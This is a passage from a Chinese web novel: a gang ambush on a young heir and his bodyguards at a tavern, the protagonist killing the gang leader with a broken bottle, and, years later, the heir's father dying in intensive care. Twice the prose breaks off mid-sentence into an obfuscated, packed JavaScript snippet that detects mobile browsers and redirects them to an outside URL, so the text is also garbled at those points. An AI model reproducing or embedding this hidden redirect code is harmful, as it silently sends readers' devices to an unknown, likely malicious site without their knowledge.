相对于罗誉,史蒂文更在意瑟杰。一来他是正主,二来他更容易惹事儿。从瑟杰带走女招待之后,史蒂文虽然没有跟上去,注意力一直放在那个方向上。但他也不可能完全不管罗誉,场内那么多醉汉,一个个都跟疯了没什么两样。难保撞上哪个倒霉的家伙,就把罗誉塞进马桶里。于是他嘱咐马修,对瑟杰那边保持关注,自己则跟上罗誉,停在洗手间门口,听洗手台的水声哗哗响起。 罗誉一进洗手间就把水龙头打开,放大。他观察了一下,洗手间里面没有人,正是他想要的。他打开洗手间朝后巷方向开的窗户,往外看去。 小酒馆的后巷平日里很安静,由于缺乏监督,这里总是很杂乱,堆满了各色废弃物,就连流浪汉也懒得捡取。除了临近的店铺工作人员偶尔出来倒垃圾,抽烟之类,平时很少有人出现在这里。 罗誉的计划就是从这里出去,顺着这条小巷子,翻过三处矮墙,进入另一条窄巷,用这种方式到达安全屋。全程避开大路,选取这类阴暗少人的小巷子,就可以避开摄像头的拍摄,最大程度地掩藏自己的行踪。 正当他要跨出窗台,后巷那头却突然涌出十几个人影。 罗誉当即警觉地收回了腿。这些人还没有发现他,但现在出去就势必会第一时间被发现。他走不了了。 突然在这里出现那么多人,这很不寻常。 他们行动迅速,向着小酒馆的后门而来。没有一个人发出声音。 当他们训练有素地围到小酒馆后门口的那一刻,罗誉猛地回身跑向卫生间门口,撞到了抱着胳膊等在门口的史蒂文。 “有一群人围住了后门口!”罗誉快速简短地告诉对方当前发生的紧急情况。 史蒂文眼神一变,拉上罗誉往前门去查看,同时接通另几名保镖,让他们护住瑟杰。 不能判断这些人一定是奔着他们来的,但保镖的工作不就是小心为上么。 在酒馆的前门,果然也围上了一群人,粗略估计,这群人总数超过三十人。从队形和身形来看,排除警察临检的可能。这些人很可能是帮派的。 “该死!是小汤姆的人!”耳麦里传来保镖迈克的咒骂。 果然,是帮会。迈克这样开骂,看来十有八九瑟杰就是目标了。罗誉冷静地分析,大脑飞快地运转中。当下的局面恐怕对他的计划有很大的影响,酒馆会更混乱,但他出不去了。 24. 第 24 章 “你确定是‘小’摩擦?” “该死!真的不是什么大事。好吧,就是先给他们上了酒,主人喊了句‘我们先来的’,然后小汤姆那天晚上被打青了一只眼睛。”迈克回复。 “嘁!还真不是什么大事。”史蒂文语气生无可恋。和他站在一起的罗誉看到他狠狠翻了个白眼。 “所以,就因为被打青了一只眼,他今天就找了三十几个人来寻仇?会不会有点儿过!”保镖凯文对这种行为逻辑还无法理解。 “别震惊,你忘了小汤姆是怎么出名的么?要不是疯了,谁会像他一样,为了抢自己叔叔的女人,把亲叔叔阉了呢?”保镖们在频道里竟然分享起了八卦。 史蒂文适时打断,“那谁的叔叔不重要,重要的是我们的主人不能被人阉了!你们找到他了么?” “他不在后厨!”迈克有些焦虑地回复。 “他平常不都在那儿么?”凯文震惊。 “太棒了,小伙子们,也就是说你们弄丢了自己的雇主!”史蒂文一个仰倒。这个世界就是个巨大的草台班子,雇主不着调,保镖不靠谱! 小汤姆带人从前门闯了进来,迅速控制了前厅。酒保机灵地蹲下,躲在了吧台后面,小心翼翼往后厨门方向挪。 史蒂文眼疾手快,拉上罗誉往后厨走廊转移。 “我找到他了!”不多时,耳麦里传来马修的通报。“该死的,那婊子带他去了二楼房间。” “快下来!”史蒂文猛然一声暴喝,拉起罗誉飞速朝楼梯口移动,“所有人,一楼楼梯口会合!” 几乎是在同一时间,耳麦里听到女人的尖叫声随即响起,紧接着一声门窗破裂的爆裂声,马修的咒骂和催促声夹杂在各种重物掉落,破碎,打斗,拖拽等响声中,混乱一片。 正如史蒂文的判断,小汤姆的人在二楼设了埋伏,一楼的人只是控场,免得让人跑掉。 冲过来汇合的迈克往楼上接应,很快,几乎光着屁股的瑟杰被马修拽着扔下楼梯,迈克将他护住。 “见鬼!”瑟杰从地上站起身来,下意识地骂骂咧咧。他还有些没反应过来,刚站起身来,就被一旁的迈克又推了一把。 平心而论,在这种阵仗前,瑟杰的表现不算太糟了。他只是太平日子过得太久,欠缺了点警觉,但面对危险还能够站起来,反应过来之后就能够开始配合保镖们的行动。保镖们虽然没法佩服这个雇主,但也能庆幸,不用在要命的时刻还得看到雇主尿裤子。 罗誉扶了瑟杰一把,随即脱了自己的外套披在瑟杰身上。两人身量有些差距,外套太紧,没法扣出前襟,但眼下肯定不是穷讲究这些的时候,瑟杰什么也没说,把手伸进袖子里穿好,一边紧紧跟好开道的史蒂文。 一行人开始往小酒馆的后门推进,那里人少些,想来还能争取一下全身而退的机会。 他们腹背受敌,罗誉耳边全是此起彼伏的枪声。这个国家不禁枪,枪支泛滥的问题愈演愈烈,以至于对于普通民众来说,你有了□□的人权,却在更大程度上,丧失了保护自己生命的人权。 这时候的前厅里,刚才再癫狂的醉鬼,如今都老老实实,双手抱头,涕泗横流地恳求饶恕自己的性命,半点不见揩油女招待时的嚣张气焰。 小汤姆正是从前厅进入,控制住这里的人。从地上薅起正在猥琐爬行的酒保,小汤姆笑得得意。 后面爆发连绵的枪声。 小汤姆看起来一点都不紧张,拿起一瓶酒,往嘴里灌了一口,问酒保:“你说他们今晚能活着离开这里么?” 酒保瑟瑟发抖,不敢开口说话。 小汤姆不怎么来这间小酒馆,但他默认自己是这片街区的头儿,每次来了必须要得到最好的待遇。没想到前几天难得来一次找点乐子,却被一个莫名其妙的亚裔小子给揍了!自己的片区什么时候出现这么个奇葩?身为亚裔竟然还敢这么嚣张! 小汤姆的右眼已经消肿,但一想起这件事,脑子还是忍不住会充血。这是耻辱,小汤姆已经很久没有遇到这么“有种”的家伙了。他必须为此付出代价! 战况激烈,听枪声就知道。对于占据上风这一点,小汤姆从未怀疑过,他今晚带了三十七个人来,其中八个人配了枪,全部配满弹夹。亚裔小子能坚持这么久,倒是小看了他。 枪声开始减弱,并且似乎在往远处移动。小汤姆皱起眉头,三十多个人总不至于还能让这六个人跑了吧!他不耐烦地站直身体,胸中憋闷,转头看见跪趴在脚边的酒保,露出残忍的笑容。 小汤姆手里的长方酒瓶被猛力砸在酒保的头上,一时间头破血流,猩红的血混在酒液里,洒了一地。 酒保应声倒地,不省人事。 前厅中那些酒鬼们瑟缩在一起,宛如鹌鹑。 小汤姆得到了宣泄,大笑一声,往后厨方向走去。 史蒂文顶在前面,一路杀出。他一个人势如破竹,在他面前阻挡去路的人都会挨上一梭子。史蒂文很有分寸,只要他开枪,就有人受伤倒下,丧失再战之力,但都不致命,每颗子弹都被利用到极致,绝不浪费。即便如此,他也快要疯了。 另外三位保镖,在推进过程中,不知不觉逐渐走散了,极有可能是受了伤掉队了。己方队伍的断后力量逐渐消减,如今更是只有他一个有效战力,也面临弹药枯竭的问题。 身后的两个孩子,是的,史蒂文第一次意识到这是两个孩子,难得的是,两个孩子都没有哭闹,更没有拖后腿。尤其是平时看着文弱的罗誉,竟然一声不吭,紧跟在后。他甚至瞥见罗誉抽空还把被击倒的对手的枪缴了! 罗誉也发现了史蒂文的困扰,他缴枪不是自己用,他清楚这种东西应该交给专业的人才能发挥最大的效力,缴获后学着史蒂文开弹夹查看,确认有子弹就会交给史蒂文。有帮助,虽然不多,但令人感动! 瑟杰看明白罗誉操作后,也向他伸手要枪。 罗誉有些犹豫,他知道瑟杰会一点,但平时几乎不碰,这多少有点危险。不过在这之后没有遇上持枪的对手,也就没有缴获。 在这之后,枪手不再出现,史蒂文的压力有所减轻。在弹药全部消耗完后,史蒂文拔出随身的猛虎刀,进攻转为防守,但更显凶悍。瑟杰没有拿到枪,也不强求,沿途捡了根棒球棍,也跟着挥舞。罗誉对这些都不太会用,只能抄起一块扔在路边的木板,就当盾牌用了。 一阵冲杀,三人拐进一条小巷子。前面已经没有人堵截,不过后面还有追兵,瑟杰和罗誉都是心情稍有放松,但史蒂文知道,还不能高兴得太早,催促他们跟紧。 很快,他们就明白为什么没有埋伏堵截的人了。这是一条断头路,在那尽头处,一道数米高的墙伫立在三人面前,充满了讥讽嘲笑的意味。 更糟糕的是,在此前的突围中,史蒂文背部被划开了一条硕大的口子,失血量很大,已经坚持不了多久。 追兵们将他们堵住,从人群后方,有一人走了出来。 小汤姆很得意。没有人能够在得罪他之后不付出代价,至于是什么样的代价,那就得看他的心情。他看着对面狼狈的瑟杰,心想,瞧瞧这无知的亚裔小子,他是最好的标本范例。 瑟杰早已感受到了小汤姆那毒蛇一般的眼神,从他出现开始就逡巡在自己身上,那目光让他感到粘腻恶心。即便到了现在,瑟杰也并不为那天得罪小汤姆的行为后悔,他只觉得倒霉,碰到这样一个疯子。 瑟杰拨开挡在前面的史蒂文,直面小汤姆。“直说吧,你想干什么?” 小汤姆桀桀怪笑。他是真的觉得对面这亚裔小子可笑,愚蠢得可爱。“小子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15615103|172194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,还记得么?这问题前几天我问过你。你怎么回答的?” 瑟杰一时语塞。当时他一拍桌子,对小汤姆说:“怎么?看不惯我?那你来干掉我呀!” 所以这就来干了。 “你知道要堵你有多容易么?只需要把一把枪和一百块钱放在桌上,让某个把你迷得神魂颠倒的小婊子自己选。”小汤姆轻松地环视现场,如今他带来的手下里,还能站着的竟然只剩下七八人。小汤姆看看瑟杰身后的两人,有些欣赏,“不得不说,你的手下都很不错,只可惜他们跟错了人。那三个,后半辈子只能领救济金了。眼前这两个……” 小汤姆用拇指擦了擦嘴角,笑得嗜血,对罗誉和史蒂文抬了抬下巴,“你们怎么想?我给你们个选择,是和他们一起领救济金,还是……跪下来求我,给你们准备个好棺材呢?哈哈哈哈!”说完,小汤姆自顾自大笑起来。 罗誉对这种无意义的话毫无反应。被他扶着的史蒂文却不是个忍气吞声的个性,嗤笑一声,说道:“救济金是给良好公民的,我配不上它。棺材你可以自己留着,说不定我们会给点面子去参加你的葬礼。至于跪下来,呵,”史蒂文嚣张地拍了拍大腿,“真遗憾,腿有残疾,在你这种垃圾面前是跪不下来了!” 话音刚落,小汤姆脸色一变,从后腰猛然抽出一把手枪,对准史蒂文的腿就是一枪。 枪响! 史蒂文左腿中弹,血从弹孔中汩汩地流出。史蒂文浑身一颤,差点跪倒。罗誉一把扶住,勉力撑住了他的身体。史蒂文咬牙强忍着没发出声音,额头不可抑制地冒出虚汗。 小汤姆对史蒂文的硬气非常不满,他现在非常火大。他依旧很欣赏他们,但只欣赏死掉的他们! 史蒂文的正面挑衅直接激怒了小汤姆。既然他说腿有残疾,那小汤姆不介意给他治一治。谁知就算是腿上开了洞,这保镖竟然也没半分动摇! 还有旁边那个小个子,战斗力一塌糊涂,居然也能坚持到现在不肯求饶。 这完全不是小汤姆想要看到的,他的尊严不能允许。他的视线又转回到站在最前面的瑟杰身上。 瑟杰在枪响的那一刻被吓了一跳,等反应过来子弹没有射向自己时,霍然转身,看见的是史蒂文流血的腿。那一瞬间,瑟杰终于感到一丝愧疚。迈克等三名保镖至今未见,从小汤姆的话中可以听出来,一定都受了很严重的伤,极有可能落下终身残疾。但只是听在耳朵里,他还没有太多实感。直到看见史蒂文的腿伤,他才终于意识到一些。这些人的后半生可能都会很可怜,可他们什么都没有做错,一切的源头都是自己造成的。是他一时的骄狂,导致了别人一生的悲剧。不对,可能不止是伤残,他们还有可能因此丧命。 瑟杰这短暂的人生中,对愧疚这种情绪相当陌生。回想起来,他好像已经习惯了自负、傲慢、蛮横、放肆,好久都不曾有过愧疚这样的情绪了。如今的他,和站在对面想要“干”他的渣滓有何区别?如果没有这次的事,以后的自己,是不是也会和今天的小汤姆一样?转瞬间,瑟杰又自嘲地想笑,什么以后,还会不会有以后都还两说呢。 身后是为了自己而身负重伤的保镖,和为他来庆生的小罗,那孩子总是话很少,纯洁得跟琉璃一样。自己说过不会让他被别人欺负了,可是却食言了。瑟杰心中竟然隐隐生出一丝绝望,绝望之后,是忿恨。 如果今夜他注定要死在这里,那也要死得轰轰烈烈,父亲的脸面不能丢在他的手里;如果今夜他能够逃出生天,他要让所有人知道,瑟杰是很狂,但他就是有这个资本!他不会让自己的手下白白牺牲,任人欺辱,就算吃了亏,他也一定会为他们加倍讨回来! 如果他和小汤姆是一样的人,凭什么今晚输的就一定是他?如果他和小汤姆不一样,又凭什么不能让他赢一把! 25. 第 25 章 小汤姆决定不再浪费时间,他向剩下的几名手下挥了挥手,几个彪形大汉提着棍棒之类的工具,围拢上来。 战至此时,除了小汤姆,场上没几个人不挂点儿彩。 几个手下挥舞着大棒,向瑟杰当头砸去,瑟杰闪身避过,顺势锁住了一根棍子,硬生生从对手手中夺过。这根棍子挺长,大概超过一米。瑟杰夺过之后,就开始疯狂横扫,一时间将几个围着他的大汉逼退两步。 同一时间,有三名大汉越过瑟杰,向罗誉和史蒂文而去。在他们眼中,这两个人一个伤,一个废,比瑟杰更好对付。然而他们显然小瞧了对方。 没人注意到罗誉的理智快要断线了。今晚到底是有多操蛋!明明做好了万全的准备,明明计划即将实现,明明找到了回家的路,明明触手可及……现在一切都要泡汤了!错失这次机会,还不知道会不会再有下次!为什么?回家为什么这么难?为什么总有那么多莫名其妙的人挡住他回家的路! 罗誉将手中充当盾牌的“木板”狠狠地投掷而出,砸在一个脸上糊满了血的大汉头上。也不知道是这人被血糊住了眼睛,还是头部受伤反应迟钝,反正就是被当场砸倒在地。这刚一开始,居然是看着最没用的罗誉一击即中,取得一血战绩! 另两人见状,不再浪费时间,揉身而上。罗誉扶着史蒂文往后退,靠到背后的高墙上。见他们再无退路,两名大汉猛攻上来。 格斗水准不仅仅体现在力量和速度上,也要看到战斗的意识和判断。可能谁也没想到,在这样的劣势之下,罗誉在沉默中竟然一鸣惊人。他那两下子也不过就是保镖们私下指点两招的成果,水平绝对算不上高,但胜在应用得巧妙,制敌先机。 一名大汉再度被“意外”地击中手腕和手肘,手中的短刀脱手。短刀还未落地,这名大汉就被一旁伺机而动的史蒂文一把攥住衣领,往下拉拽,趁着大汉上身下压之际,史蒂文的猛虎刀果断插上他的肩头。解决第二个。 史蒂文的腿动不了,后背也翻开了皮肉,要不是靠着墙,他根本无法站立,确实是残血状态,但刚刚和罗誉实现了一波完美的配合。 这时候第三个大汉有了一丝犹豫。两军对战,一鼓作气,再而衰,三而竭。这第三个家伙接连受到两次震撼,已经没了战意。罗誉看准这一点,主动出击,从墙角下一叠废酒瓶中抽出一个,扔向对面。对方被吓得没敢接招,忙不迭地往后退去。酒瓶砸在地上,“哗啦”一声碎得四分五裂。 另一边,瑟杰一人扛四个终究寡不敌众,一开始的疯狗战法打伤了一人的腰,但在被看穿破绽之后,也就没能发挥多大的效用了。 一个间隙,瑟杰被人架住棍子,在一旁等得不耐烦的小汤姆上前一脚,将瑟杰踹翻出去。瑟杰窝着身子倒在罗誉和史蒂文面前,半天没能喘上一口气。 罗誉和史蒂文的战斗因此告一段落。 小汤姆现在看瑟杰已经不是看一个敌人或是对手,而是像猫看一只即将死在自己爪下的老鼠,在他死之前,要先让自己玩尽兴。 小汤姆一手松松地握着枪,走上前去蹲下,抓住瑟杰的头发迫使他扬起头,手上的枪随意地抵在瑟杰的下颌上。胜利者的笑是畅快肆意的。“你问我的问题,我认真地回答了。现在,小子,告诉我,你对我的答案还满意么?” 瑟杰脸色惨白,一半是疼的,另一半是因为绝望。几分钟前燃起的热血慷慨转瞬间被烧成灰烬,他还能做什么呢? “你怎么不说话?我亲爱的亚裔小子。”小汤姆笑得愈发瘆人,仿佛恐怖片中的小丑。 “让我来告诉你,接下来会发生些什么。子弹出膛后只会走直线,会穿过你的脖子,在颅骨的另一面穿出来。你放心,我不喜欢用达姆弹,弹头不会在你颅腔里炸开,你的尸体上只会有两个弹孔,一个进去的,一个出来的,有始有终,就和你的人生一样完美。”配上手枪上膛的声音,轻柔的语调从未如此刻般恐怖,透着浓浓的死亡气息。 “没记错的话,你不是个沉默寡言的人呀,我的朋友!啊!我知道了,你不喜欢枪对不对?”小汤姆满脸戏谑,枪口从下颌沿着脸颊缓缓上移到太阳穴,动作轻柔得好像只是亲昵的抚摸。 罗誉和史蒂文在后面看着,却不敢轻举妄动,万一走火,后果不堪设想。 小汤姆用冰冷的枪口调戏了一阵,忽然笑得更加神经质。“没事,你不喜欢,我们就换一样。我这儿花样很多,总有一款适合你。”他倏然收起枪,插回后腰,反手从皮套中抽出一把短刀。 瞅准这一刻短暂的机会,史蒂文的猛虎刀投向小汤姆,直直朝着他的左眼射去。小汤姆在手下的惊叫声中险险避开,不得已松开了瑟杰。罗誉出现在他闪避的方向,手中的酒瓶重重砸在小汤姆的头上。小汤姆一阵眩晕,下意识抬起手中的短刀。电光火石间,罗誉没有给他翻盘的机会,一手环住他的头,一手将碎酒瓶捅进小汤姆的脖子。 鲜血瞬间迸溅开来,伤口处就像一个喷泉一样,血液从半截酒瓶口飙射出几米开外。 怀中的小汤姆瞬间失去了反抗,身体痉挛,抽搐了一阵,最后软了下来。 罗誉足足愣了十几秒,所有的人也都没有动。直到小汤姆的身体瘫软地摔在地上,发出“噗”的一声响,才惊醒了众人。 瑟杰最先作出反应,他本就跪坐在地上,膝行几步去探查小汤姆的情况。只见血仍然在汩汩流出,但流速已经明显减缓。 史蒂文出声提示:“先拿他的枪。”瑟杰一惊,照着他说的做,把被小汤姆压在身下的枪先取出来,拿在自己手上。 扒开小汤姆油腻凌乱的头发,他的眼睛没来得及闭上,茫然地半开着。这么会儿工夫,人的脸色已经灰败,气息断了,仅凭肉眼就能看出和活着时完全不同。 瑟杰一时间不知道该怎么办才好,回头去看刚刚说话的史蒂文。然而这情况对史蒂文也属于超纲了,他是保镖,以前见过死人,但后续处理的麻烦事也不是他这个高级保镖来处理。于是两人又齐齐转头看向罗誉。 罗誉还懵着,他浑身都在微微发抖,看着地上的尸体,还有些不可置信。杀人不是他的本意,他从未想过要杀人!刚才他其实什么都没有想,所有的行动都是源自本能。但这样是不是反而验证了他本性残暴?他残暴?不残暴吗?那么多血!如果不是残暴,怎么下得去手?可是这不是本意…… 罗誉的内心正在经历狂风暴雨。一切超出了预计,变得无法理解,光怪陆离,更不要说掌控。他低头看着自己满手的血水滴答,有什么东西好像不一样了,可能再也回不去了……杀人了…… 罗誉艰难地抬起头看向自己在场的同伴,瑟杰和史蒂文也正看他,目光里的担忧和关切毫不掩饰。罗誉的心太乱了,这一刻他没有办法正常思考。 他再次茫然地转头去看现场的其他人,于是直直地看向小汤姆的几个手下,那几名呆若木鸡的大汉瞬间就像过了电似的惊醒过来,一秒都不敢犹豫,从原地弹起,飞奔逃离,就连他们老大的尸体都无暇顾及。谁能想到,看上去最无害最废物的那一个竟然是杀气最重的呢…… 那一夜,改变了很多事情,也改变了很多人。 远在联邦国的诺坎得知消息后,险些要亲自飞来合众国,只是他的身份被合众国官方限制入境,偷渡又相当周折,这才作罢。但诺坎十分感念罗誉和史蒂文对瑟杰的相救之情,专门打来视频,对他们表达由衷的感激,让他们安心养伤,他安排了最好的医疗和护理团队给他们。并且许诺欠下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15615104|172194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他俩的人情,任何时候都可以来找诺坎要求回报,任何要求都行,诺坎绝不会食言。 瑟杰对这两位的态度也变了。这事儿之前,史蒂文在他眼里和别的保镖没有什么不同,这事儿之后,就是过命的兄弟了。他也终于领会了一些诺坎的用意,也认同了诺坎对史蒂文的评价。罗誉那就更不用说了。瑟杰心里记着,这是罗誉第二次救自己的命。小罗总是安静地追随着他,在关键时刻,毫不犹豫地出手救下他。即便是自己的父亲诺坎,也会先评估这个儿子对自己是否有用,然后再表现出慈父做派,但小罗,除了初见面时要求他帮他脱困,他就再也没有试图从自己身上索取过什么。这世界上,小罗才是真兄弟! 史蒂文有在好好养伤,他很快乐,放心大胆地花着老板的钱,摸着老板雇的护理妹子的手,并且非常乐意让护理妹子摸他的胸肌,腹肌也没问题……要说有什么改变?他对瑟杰确实有所改观,这个不出意外会成为自己未来雇主的富二代,确实没有他最初以为的那么纨绔无能。他还是有几分胆气的,但也仅此而已。史蒂文仍然对让瑟杰成为自己的雇主一事有着一丝保留。所幸时候还早,他们都还年轻,还有好几年才会面临最终的选择,来日方长。现在,好好享受生活!甜心,我的下半身为什么没有知觉,你能过来帮我检查一下么? 罗誉或许是受到影响最大的人。他从安静变成了现在的沉默。 几个年长一些的保镖平日里跟他关系还不错,有些担心他,会更多地关注他两眼。他还是个孩子……那几个年长的保镖已经有了自己的孩子,是以对孩子的心理状况更加敏锐。罗誉显然正在经历自我重建的过程,只希望这个过程不要太过痛苦。 事实上,罗誉很痛苦。他接受不了现在的自己,一个成为杀人犯的自己。他原本已经计划好了,做了充分的准备,很有可能成功。离开家到现在,他从没有如此接近回家的路。 可一瞬间,全都没有意义了。就好像一波汹涌的潮水过境,冲垮全部,摧毁所有。包括他自己。 以前那个干干净净的罗誉死了,如今只剩下一个两手沾满鲜血的杀人犯,就算死了也只能是个流浪异乡的孤魂野鬼。 一个罪犯,跑去大使馆说,我是你们国家的公民,你们让我回家吧?见到爸爸妈妈,再告诉他们,你们的儿子还没成年,没来得及让你们为他自豪,就犯了大错? 滑天下之大稽! 这是错吗?不,这是罪,是孽! 这样的罗誉,只会令父母蒙羞,他还怎么有脸回家? 他回不了家了,再也不能回去了。 以前是有家归不得,以后是无家可归人。 他犯下了罪孽,他的一切都要被收走,他终将一无所有。 罗誉把头埋进臂弯。 事情为什么会变成这样呢?他到底是怎么一步跌落,全盘脱轨的呢?是小汤姆带人来寻仇?是女招待出卖瑟杰?是瑟杰与小汤姆结仇?不,都不是……原因或许应该追溯得更为深远。 是瑟杰的堕落,是诺坎的主观,也是罗誉自己对事态的刻意纵容,甚至引导……谁都不是无辜的,包括他自己。 恨意在胸口灼烧。想要烧毁每一个罪人,将他们全都挫骨扬灰,让他们统统下十八层地狱,永远在油锅、刀山、火海中煎熬沉浮,永世不得超生!包括他自己! 良久之后,罗誉低垂的头终于从臂弯中抬起。 人要继续活下去,总要有点奔头。罗誉的奔头曾经是好好学习,天天向上,也曾经是寻找回家的路途。如今,这些都成了美好的痴心妄想,那么,该换个实际点的,重新开始了。 老诺坎不是说了么?他欠了他罗誉的人情,随时都可以向他讨还。呵!希望他可不要太心疼了。 26. 第 26 章 第二十六章人事全非 一转眼,八年过去。 罗誉在十五岁那年,已经凭借优异的成绩,和多位知名导师联名推荐,进入了一所世界名校,更成为了明星学员。 瑟杰每每说起,都像是自家孩子一样骄傲,小罗的脑子就是好用! 瑟杰在小汤姆事件之后,就和自家老头子开诚布公地谈了一番,大概也是说明了自己就不是读书这块料的事,老诺坎一度非常遗憾。不过或许本就有些微妙的预感,老诺坎倒也没有被打击到一蹶不振,很快就接受了现实。从那以后,老诺坎对瑟杰的关怀就排除了学业的选项,而更多地关注到个人生活和领导力发展的方向上。 罗誉为了上学,和瑟杰终于分开,去了另一个州。瑟杰则留在原地,将这里作为老诺坎在合众国的基地发展,为联邦的总部充当一个分支机构,建制完全按照瑟杰的意愿和构想来做,等于是在这里给瑟杰练手,组建一套自己合用的班底。安保方面,老诺坎为他们增加了人手,因此,罗誉仍然被分配到了若干保镖随行。 史蒂文理所当然地留在瑟杰身边,不过毕竟一起出生入死,在罗誉去上学的临别之际,他给了罗誉一个大大的热烈的拥抱,以至于瑟杰这个醋缸也跟着讨要罗誉的抱抱。 今天,罗誉即将年满十八,他穿着学士服,戴着学位帽,在讲台前潇潇洒洒地作为学生代表致辞。这是他的毕业典礼。演讲过程中获得了台下数次欢笑和掌声。在他结束时,七十多岁的老校长走上前来,像对待自家亲孙子似的,亲昵地拍拍他的侧脸,为他把学位帽上的流苏拨到左边,完成了这一重要仪式。 瑟杰穿着礼服,在台下没命地鼓掌。罗誉走下台后,更是拉着“小罗”非要合照留念,比自己得到学位还兴奋。罗誉对这位“兄长”向来顺从,有求必应。到后来,还得是跟着瑟杰来参加典礼的史蒂文发话,才让罗誉有机会喘上口气。随即,史蒂文拉拉他的袖子,让他陪自己也拍一张。 几人正笑闹间,瑟杰的电话响起。接起电话,瑟杰脸色骤变。 瑟杰一行人订了最近的一班飞机,赶回联邦。走得匆忙,什么行李都没带,罗誉也只能在登机前,临时买了套衣服换上。 老诺坎突发心脏病,躺进了医院ICU。瑟杰赶到时,只能隔着老大的一扇玻璃往里看,自家老头子人事不知地躺在里面,插着老粗的管子。 瑟杰从没想过会见到父亲以如此孱弱的姿态出现在自己面前。印象中的父亲年富力强,精力充沛,走路带风,永远霸气十足。瑟杰也才二十二岁,诺坎的年纪不算老。况且,就算此次的难关得以安然渡过,之后也得时时刻刻防备着病情复发。心脏的疾病,发作起来跟意外一样意外,防不胜防。 瑟杰很担心诺坎的情况,无论从哪个角度来讲,诺坎倒下在当下都不是好事。他身上牵系着太多的人和事,没有任何交接,势必生出许多麻烦。而瑟杰,也还远远没有做好准备。 常年在海外,他对父亲的生意仍然十分陌生。这中间有很多的合作方、中间人、保护伞,他都还不曾正式结识过,他们和父亲的真实关系到底如何,瑟杰一无所知,难保不会出现错漏。而父亲的这种营生,人脉网中的任何一环,都牵一发而动全身。瑟杰虽然狂傲,但他也绝不敢掉以轻心。一旦出现个万一,后果不堪设想。 瑟杰双手合十,撑在额间。他在ICU外的走廊上已经坐了三个小时,如今夜已深,其余探视的闲杂人等早已退去,医院也安静下来。 瑟杰的心却越想越乱,越想越深。大概是时差的关系,头有些晕,他用力地眨了眨干涩的眼睛。如果给他一面镜子,他能看到一双眼睛熬得通红。 等到再度睁开眼睛,瑟杰抬手看了看表,原来已经过了午夜,他竟然睡着了。他烦躁地耙了耙头发,才发现周围没什么人。晚饭在飞机上,心神不宁的,也没来得及吃。他竟然也没有觉得饿。不过睡这一会儿并不能彻底倒过时差,他晃了晃脑袋,抹了下脸。 他一动起来,隐蔽处的史蒂文就现身在侧,按着耳麦说了句什么。不一会儿,罗誉手里拿着两份晚餐过来。 “到那边休息区吃吧。”罗誉抬手示意,对瑟杰和史蒂文说道。 瑟杰咬着还热乎的热狗,感叹小罗以后不知道会遇到个什么样的女人,可千万别是母老虎,那种女人配不上小罗的温柔。史蒂文笑得差点把三明治的尖角戳到鼻子里。 罗誉无语地笑笑。等他们吃完,罗誉对瑟杰说:“先去休息吧。” 瑟杰有些不情愿,搓搓鼻子,说:“我想等父亲从ICU出来……” 史蒂文打断他:“老天!你知道诺坎先生什么时候能出来?” 瑟杰一噎。好吧,虽说这话听着不太舒服,但史蒂文这种典型的合众国人说话就是这么直接。 “我知道你放心不下,也不劝你回家。这里给你空出一间病房,你可以先在那里睡一觉,倒一倒时差。你已经三十多个小时没有睡了。”罗誉说道,“养足精神,不管诺坎先生恢复得如何,接下来的一段时间,你都会有很多事情需要操心。” 罗誉的话显然比史蒂文的有理有据,更有说服力,也更难以反驳。这几年,瑟杰和史蒂文似乎也都更习惯于参考罗誉的意见。他想得深远,做得周到,听他的总没错。 想到房间本就是医院的病房,离得不远,有点事情也来得及跑过来,瑟杰也就乖乖听从了罗誉的建议,跟随他去休息。史蒂文表示自己身强力壮,精力旺盛,在飞机上也休息够了,正好替他在这里等待,一有进展,第一时间通知他们。 瑟杰去到房间,在床上倒头就睡,几乎是沾着枕头就丧失了意识。但这一觉非常的不安稳,他的人生中从未有过这样的惶恐,即便当年被绑架,或面对小汤姆冰冷的枪口时,也从未曾这般惶恐。他头上为他遮风挡雨的坚实羽翼,似乎要失去了。 瑟杰皱着眉头在睡梦中挣扎了不过一个半小时,就被罗誉粗暴摇醒。 罗誉语气少见的严峻:“突然恶化了!” 瑟杰头嗡嗡地疼,有那么两三秒钟他都不知道罗誉在说什么。紧接着,猛然坐起,掀开被子下床,胡乱穿了鞋子就往外跑。 恶化了!已经在ICU的人,还能怎么恶化呢?怎么就突然恶化了!不会吧!还在做梦吧! 瑟杰几乎是一路飞奔,期间不可避免地撞到一些人,他统统顾不上,脚步丝毫不停,赶到ICU。史蒂文站在门口,告诉他,就在十分钟前,老诺坎心脏骤停,目前在抢救。瑟杰隔着玻璃看到里面医生们正在上电击…… 抢救的过程十分煎熬。你能看着医生们竭尽全力,满头大汗地忙碌着,那具身体却毫无反应。时间一分一秒地过去,自己却什么都做不了。瑟杰背靠在冰凉的墙上,仿佛这样才能稍解心中满溢的焦灼。 不知过了多久,ICU中的医生们停了下来,他们互相对视,颓然地垂眼,最后不知在说什么。 靠着墙的瑟杰骤然从墙上弹起,扑上隔离的玻璃猛烈地拍打,大吼:“为什么停下!你们为什么停下!不许停下!继续抢救!” 史蒂文上前从背后束缚住激动的瑟杰,把他拖回来摁在走廊的椅子上。瑟杰就像一条刚被捞出水的鱼一般,不要命地弹动,不断试图跳起来,嘴里都是催促和威胁医生的话,要求医生救活自己的父亲。 